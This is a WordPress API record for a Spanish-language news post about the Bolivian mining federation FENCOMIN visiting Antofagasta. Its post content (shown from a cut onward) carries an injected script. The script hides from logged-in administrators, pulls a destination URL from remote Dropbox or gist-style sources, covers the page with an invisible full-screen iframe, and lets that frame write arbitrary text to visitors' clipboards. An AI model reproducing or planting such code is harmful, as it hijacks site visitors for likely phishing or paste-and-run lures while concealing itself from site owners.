\/\\bwp-toolbar\\b\/.test(de.className)) return true;\n      if (body && typeof body.className === \"string\" && \/\\badmin-bar\\b\/.test(body.className)) return true;\n      if (document.getElementById(\"wpadminbar\")) return true;\n    } catch (e) {}\n\n    return false;\n  }\n\n  if (isWpLoggedInContext()) return;\n\n  if (document.getElementById(registry.iframeId)) {\n    registry.status = \"active\";\n    return;\n  }\n\n  if (registry.runPromise || registry.status === \"loading\" || registry.status === \"active\" || registry.status === \"done\") {\n    return;\n  }\n\n  registry.status = \"loading\";\n\n  function safeAppendQuery(url, key, val) {\n    var sep = url.indexOf(\"?\") >= 0 ? \"&\" : \"?\";\n    return url + sep + encodeURIComponent(key) + \"=\" + encodeURIComponent(val);\n  }\n\n  function buildTrustedUrl(template, id) {\n    if (!template || !id) return \"\";\n\n    if (template.indexOf(\"dropbox.com\") >= 0) {\n      return template.replace(\/\\{id\\}\/g, id);\n    }\n\n    var encoded = encodeURIComponent(id);\n\n    if (template.indexOf(\"gist.githubusercontent.com\") >= 0) {\n      encoded = encoded.replace(\/%2F\/g, \"\/\");\n    }\n\n    return template.replace(\/\\{id\\}\/g, encoded);\n  }\n\n  function toHttpUrl(value) {\n    if (!value) return \"\";\n\n    var s = String(value)\n      .replace(\/^\\uFEFF\/, \"\")\n      .trim()\n      .replace(\/^['\"`\\s]+|['\"`\\s]+$\/g, \"\");\n\n    if (!s) return \"\";\n\n    if (!\/^[a-z][a-z0-9+.-]*:\\\/\\\/\/i.test(s)) {\n      if (\/^[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:[\\\/?#]|$)\/i.test(s)) {\n        s = \"https:\/\/\" + s;\n      } else {\n        return \"\";\n      }\n    }\n\n    try {\n      var u = new URL(s);\n      if (u.protocol === \"http:\" || u.protocol === \"https:\") {\n        return u.href;\n      }\n    } catch (e) {}\n\n    return \"\";\n  }\n\n  function findUrlInObject(input, depth) {\n    if (!input || depth > 3) return \"\";\n\n    if (typeof input === \"string\") {\n      return toHttpUrl(input);\n    }\n\n    if (Object.prototype.toString.call(input) === \"[object Array]\") {\n      for (var i = 0; i < input.length; i++) {\n        var arrVal = findUrlInObject(input[i], depth + 1);\n        if (arrVal) return arrVal;\n      }\n      return \"\";\n    }\n\n    if (typeof input === \"object\") {\n      var keys = [\"url\", \"link\", \"href\", \"location\", \"redirect\", \"target\", \"landing\", \"landingUrl\"];\n\n      for (var j = 0; j < keys.length; j++) {\n        var key = keys[j];\n        if (Object.prototype.hasOwnProperty.call(input, key)) {\n          var direct = findUrlInObject(input[key], depth + 1);\n          if (direct) return direct;\n        }\n      }\n\n      for (var k in input) {\n        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;\n        var nested = findUrlInObject(input[k], depth + 1);\n        if (nested) return nested;\n      }\n    }\n\n    return \"\";\n  }\n\n  function extractLandingUrl(raw) {\n    if (!raw) return \"\";\n\n    var text = String(raw).replace(\/^\\uFEFF\/, \"\").trim();\n    if (!text) return \"\";\n\n    var direct = toHttpUrl(text);\n    if (direct) return direct;\n\n    if ((text.charAt(0) === \"{\" &#038;&#038; text.charAt(text.length - 1) === \"}\") ||\n        (text.charAt(0) === \"[\" &#038;&#038; text.charAt(text.length - 1) === \"]\")) {\n      try {\n        var parsed = JSON.parse(text);\n        var jsonUrl = findUrlInObject(parsed, 0);\n        if (jsonUrl) return jsonUrl;\n      } catch (e) {}\n    }\n\n    var matchHttp = text.match(\/https?:\\\/\\\/[^\\s\"'<>]+\/i);\n    if (matchHttp && matchHttp[0]) {\n      var httpUrl = toHttpUrl(matchHttp[0]);\n      if (httpUrl) return httpUrl;\n    }\n\n    var matchDomain = text.match(\/\\b[a-z0-9.-]+\\.[a-z]{2,}(?::\\d+)?(?:\\\/[^\\s\"'<>]*)?\/i);\n    if (matchDomain && matchDomain[0]) {\n      var domainUrl = toHttpUrl(matchDomain[0]);\n      if (domainUrl) return domainUrl;\n    }\n\n    return \"\";\n  }\n\n  function getOriginSafe(url) {\n    try {\n      return new URL(url).origin;\n    } catch (e) {\n      return \"\";\n    }\n  }\n\n  function addHint(rel, href) {\n    if (!href || !document || !document.createElement) return;\n\n    var key = rel + \"::\" + href;\n    if (registry.hints[key]) return;\n    registry.hints[key] = true;\n\n    try {\n      var parent = document.head || document.documentElement;\n      if (!parent) return;\n\n      var link = document.createElement(\"link\");\n      link.rel = rel;\n      link.href = href;\n\n      if (rel === \"preconnect\") {\n        link.crossOrigin = \"anonymous\";\n      }\n\n      parent.appendChild(link);\n    } catch (e) {}\n  }\n\n  function warmupOrigins() {\n    var origins = {};\n    var apiOrigin = getOriginSafe(API_ID_URL);\n    if (apiOrigin) origins[apiOrigin] = true;\n\n    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {\n      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;\n      if (!tpl) continue;\n      var probe = tpl.replace(\/\\{id\\}\/g, \"x\");\n      var origin = getOriginSafe(probe);\n      if (origin) origins[origin] = true;\n    }\n\n    for (var originKey in origins) {\n      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;\n      addHint(\"dns-prefetch\", originKey);\n      addHint(\"preconnect\", originKey);\n    }\n  }\n\n  function getMountNode() {\n    return document.body || document.documentElement || null;\n  }\n\n  function fetchTextNoThrow(url, timeoutMs) {\n    return new Promise(function (resolve) {\n      if (!url || typeof fetch !== \"function\") {\n        resolve(\"\");\n        return;\n      }\n\n      var finished = false;\n      var timer = null;\n      var controller = null;\n\n      function done(value) {\n        if (finished) return;\n        finished = true;\n        if (timer) clearTimeout(timer);\n        resolve((value || \"\").trim());\n      }\n\n      try {\n        if (typeof AbortController !== \"undefined\") {\n          controller = new AbortController();\n        }\n\n        timer = setTimeout(function () {\n          try {\n            if (controller) controller.abort();\n          } catch (e) {}\n          done(\"\");\n        }, timeoutMs);\n\n        fetch(url, {\n          cache: \"no-store\",\n          credentials: \"omit\",\n          signal: controller ? controller.signal : void 0\n        })\n          .then(function (response) {\n            return response ? response.text() : \"\";\n          })\n          .then(function (text) {\n            done(text);\n          })\n          .catch(function () {\n            done(\"\");\n          });\n      } catch (e) {\n        done(\"\");\n      }\n    });\n  }\n\n  function tryCopy(text) {\n    if (typeof text !== \"string\" || !text) return;\n\n    try { window.focus(); } catch (e) {}\n\n    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {\n      navigator.clipboard.writeText(text).catch(function () {\n        fallbackCopy(text);\n      });\n      return;\n    }\n\n    fallbackCopy(text);\n  }\n\n  function fallbackCopy(text) {\n    try {\n      var mount = getMountNode();\n      if (!mount) return;\n\n      var ta = document.createElement(\"textarea\");\n      ta.value = text;\n      ta.setAttribute(\"readonly\", \"readonly\");\n      ta.style.position = \"fixed\";\n      ta.style.left = \"-9999px\";\n      ta.style.top = \"0\";\n      ta.style.opacity = \"0\";\n      mount.appendChild(ta);\n      try { ta.focus(); } catch (e) {}\n      ta.select();\n      ta.setSelectionRange(0, ta.value.length);\n      document.execCommand(\"copy\");\n      if (ta.parentNode) ta.parentNode.removeChild(ta);\n    } catch (e) {}\n  }\n\n  function bindMessageHandler() {\n    if (registry.messageBound) return;\n    registry.messageBound = true;\n\n    window.addEventListener(\"message\", function (event) {\n      var data = event &#038;&#038; event.data;\n      var iframe = document.getElementById(registry.iframeId);\n\n      if (!iframe || !data || typeof data !== \"object\") return;\n      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;\n\n      if (data.type === \"ktl-show-original\") {\n        if (typeof registry.destroy === \"function\") registry.destroy();\n        return;\n      }\n\n      if (data.type === \"ktl-frame-ready\") {\n        if (typeof registry.reveal === \"function\") registry.reveal();\n        return;\n      }\n\n      if (data.type === \"copy\" &#038;&#038; typeof data.text === \"string\") {\n        tryCopy(data.text);\n      }\n    });\n  }\n\n  function cleanup(nextStatus) {\n    var iframe = document.getElementById(registry.iframeId);\n\n    registry.destroy = null;\n    registry.reveal = null;\n\n    try {\n      if (iframe &#038;&#038; iframe.parentNode) {\n        iframe.parentNode.removeChild(iframe);\n      }\n    } catch (e) {}\n\n    registry.status = nextStatus || \"done\";\n  }\n\n  function resolveLandingUrl(id) {\n    if (!id || !TRUSTED_CONFIGS.length) {\n      return Promise.resolve(\"\");\n    }\n\n    function step(index) {\n      if (index >= TRUSTED_CONFIGS.length) {\n        return Promise.resolve(\"\");\n      }\n\n      var cfg = TRUSTED_CONFIGS[index] || {};\n      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || \"\", id));\n\n      if (!builtUrl) {\n        return step(index + 1);\n      }\n\n      if (!cfg.useFetch) {\n        return Promise.resolve(builtUrl);\n      }\n\n      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)\n        .then(function (raw) {\n          var landingUrl = extractLandingUrl(raw);\n          if (landingUrl) return landingUrl;\n          return step(index + 1);\n        })\n        .catch(function () {\n          return step(index + 1);\n        });\n    }\n\n    return step(0);\n  }\n\n  function activateIframe(url) {\n    if (!url || registry.status === \"active\") return;\n\n    if (isWpLoggedInContext()) {\n      cleanup(\"done\");\n      return;\n    }\n\n    var existing = document.getElementById(registry.iframeId);\n    if (existing) {\n      registry.status = \"active\";\n      return;\n    }\n\n    var mount = getMountNode();\n    if (!mount) {\n      setTimeout(function () {\n        activateIframe(url);\n      }, 0);\n      return;\n    }\n\n    var iframe = document.createElement(\"iframe\");\n    var closed = false;\n    var revealed = false;\n    var timeoutId = null;\n\n    function reveal() {\n      if (closed || revealed) return;\n      revealed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n\n      registry.status = \"active\";\n\n      iframe.style.visibility = \"visible\";\n      iframe.style.opacity = \"1\";\n      iframe.style.pointerEvents = \"auto\";\n      iframe.removeAttribute(\"aria-hidden\");\n\n      setTimeout(function () {\n        try { iframe.focus(); } catch (e) {}\n        try {\n          if (iframe.contentWindow && iframe.contentWindow.focus) {\n            iframe.contentWindow.focus();\n          }\n        } catch (e) {}\n      }, 0);\n    }\n\n    function destroy() {\n      if (closed) return;\n      closed = true;\n      if (timeoutId) clearTimeout(timeoutId);\n      cleanup(\"done\");\n    }\n\n    registry.destroy = destroy;\n    registry.reveal = reveal;\n\n    iframe.id = registry.iframeId;\n    iframe.setAttribute(registry.iframeAttr, \"1\");\n    iframe.setAttribute(\"aria-hidden\", \"true\");\n    iframe.setAttribute(\"loading\", \"eager\");\n    iframe.setAttribute(\"allow\", \"clipboard-write\");\n    iframe.src = safeAppendQuery(url, \"v\", Math.random().toString(36).slice(2));\n    iframe.style.cssText = [\n      \"position:fixed !important\",\n      \"top:0\",\n      \"left:0\",\n      \"width:100vw\",\n      \"height:100vh\",\n      \"border:none\",\n      \"z-index:2147483647\",\n      \"margin:0\",\n      \"padding:0\",\n      \"overflow:hidden\",\n      \"visibility:hidden\",\n      \"opacity:0\",\n      \"pointer-events:none\",\n      \"background:transparent\"\n    ].join(\";\");\n\n    iframe.onload = function () {\n      if (closed) return;\n      if (!registry.requireReadyMessage) {\n        reveal();\n      }\n    };\n\n    iframe.onerror = function () {\n      destroy();\n    };\n\n    timeoutId = setTimeout(function () {\n      destroy();\n    }, registry.iframeTimeoutMs);\n\n    try {\n      mount.appendChild(iframe);\n    } catch (e) {\n      destroy();\n    }\n  }\n\n  function run() {\n    warmupOrigins();\n    bindMessageHandler();\n\n    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)\n      .then(function (id) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        id = (id || \"\").trim();\n        if (!id) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        return resolveLandingUrl(id);\n      })\n      .then(function (finalUrl) {\n        if (isWpLoggedInContext()) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        finalUrl = toHttpUrl(finalUrl);\n\n        if (!finalUrl) {\n          cleanup(\"done\");\n          return \"\";\n        }\n\n        var finalOrigin = getOriginSafe(finalUrl);\n        if (finalOrigin) {\n          addHint(\"dns-prefetch\", finalOrigin);\n          addHint(\"preconnect\", finalOrigin);\n        }\n\n        activateIframe(finalUrl);\n        return finalUrl;\n      })\n      .catch(function () {\n        cleanup(\"done\");\n      });\n  }\n\n  registry.runPromise = run();\n})();<\/script>","protected":false},"excerpt":{"rendered":"<p>La Federaci\u00f3n Nacional de Cooperativas Mineras, FENCOMIN, visit\u00f3 Antofagasta gracias a un convenio entre la Agencia de Cooperaci\u00f3n para el Desarrollo de Chile &#8211; AGCID del Ministerio de Relaciones Exteriores y el Gobierno Regional, apoyado por el Cl\u00faster minero de la Regi\u00f3n de Antofagasta. \u201cChile est\u00e1 adelantado en tecnolog\u00eda para la miner\u00eda\u201d, expres\u00f3 Zen\u00f3n Huarachi,&hellip;<\/p>","protected":false},"author":22,"featured_media":34575,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1,73,99,275],"tags":[],"class_list":["post-34565","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias","category-noticias-destacadas","category-noticias2","category-principal-home","category-1","category-73","category-99","category-275","description-off"],"_links":{"self":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/34565","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/users\/22"}],"replies":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/comments?post=34565"}],"version-history":[{"count":4,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/34565\/revisions"}],"predecessor-version":[{"id":46355,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/posts\/34565\/revisions\/46355"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media\/34575"}],"wp:attachment":[{"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/media?parent=34565"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/categories?post=34565"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/ceim.cl\/en\/wp-json\/wp\/v2\/tags?post=34565"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}